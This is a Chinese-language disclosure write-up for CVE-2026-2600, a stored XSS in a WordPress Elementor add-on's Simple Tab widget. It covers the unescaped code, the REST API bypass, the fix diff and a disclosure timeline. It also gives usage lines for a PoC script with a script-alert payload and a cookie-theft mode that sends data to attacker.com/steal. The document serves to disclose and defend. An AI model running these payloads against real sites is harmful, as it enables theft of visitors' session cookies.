| CVSS | 6.4 中危 |
| 受影响版本 | <= 3.7.9 |
| 已修复版本 | 3.8.0 |
| 最低角色 | 贡献者(edit_posts) |
| 攻击向量 | 网络 / 低复杂度 / 低权限 |
Simple Tab 组件在渲染标签标题时直接使用 echo 输出 HTML,但未进行输出转义。在 widgets/tab/tab.php 中,渲染循环执行以下操作:
foreach ( $settings['ekit_tab_items'] as $index => $item ) {
echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
}
Elementor 编辑器会在客户端对输入进行清理,但 REST API 端点(/wp-json/wp/v2/posts/{id})会直接接受 _elementor_data 元字段,完全绕过了这一层防护。
已认证的贡献者可以通过 PATCH 请求修改文章,注入精心构造的 Elementor JSON 载荷,将 ekit_tab_title 设置为任意 HTML。由于该值会原样存储在 _elementor_data 中,并在渲染时未经 esc_html() 转义直接输出,因此当页面加载时,脚本会在每位访问者的浏览器中执行。
任何贡献者都可以:
披露时,受影响的活动安装量超过 40 万。
pip install requests
python3 poc.py https://target.com contributor p4ss
该脚本通过 HTTP 进行身份验证,从管理编辑器获取 REST nonce,创建草稿文章,将包含 XSS 载荷的 _elementor_data 通过 ekit_tab_title 字段进行 PATCH 修改,然后发布文章。输出结果会确认载荷是否已生效于页面源代码中。
# 自定义载荷
python3 poc.py https://target.com contributor p4ss --payload '<script>alert(document.domain)</script>'
# 带回调的 Cookie 窃取
python3 poc.py https://target.com contributor p4ss --type cookie --callback https://attacker.com/steal
# 交互式控制台模式
python3 console_poc.py
| 日期 | 事件 |
|---|---|
| 2026 年 1 月 | 通过 SVN 差异审查发现漏洞。PoC 已确认。 |
| 2026 年 1 月 | 向 Patchstack Alliance 提交完整技术分析和 PoC。 |
| 2026 年 3 月 | Wpmet 在 v3.8.0 版本中发布了修复。 |
| 2026 年 4 月 | CVE-2026-2600 发布。分配 CVSS 6.4 中危评级。 |
Wpmet 在 widgets/tab/tab.php 中对标签标题输出添加了 esc_html():
- echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
+ echo '<a ...>' . esc_html( $item['ekit_tab_title'] ) . '</a>';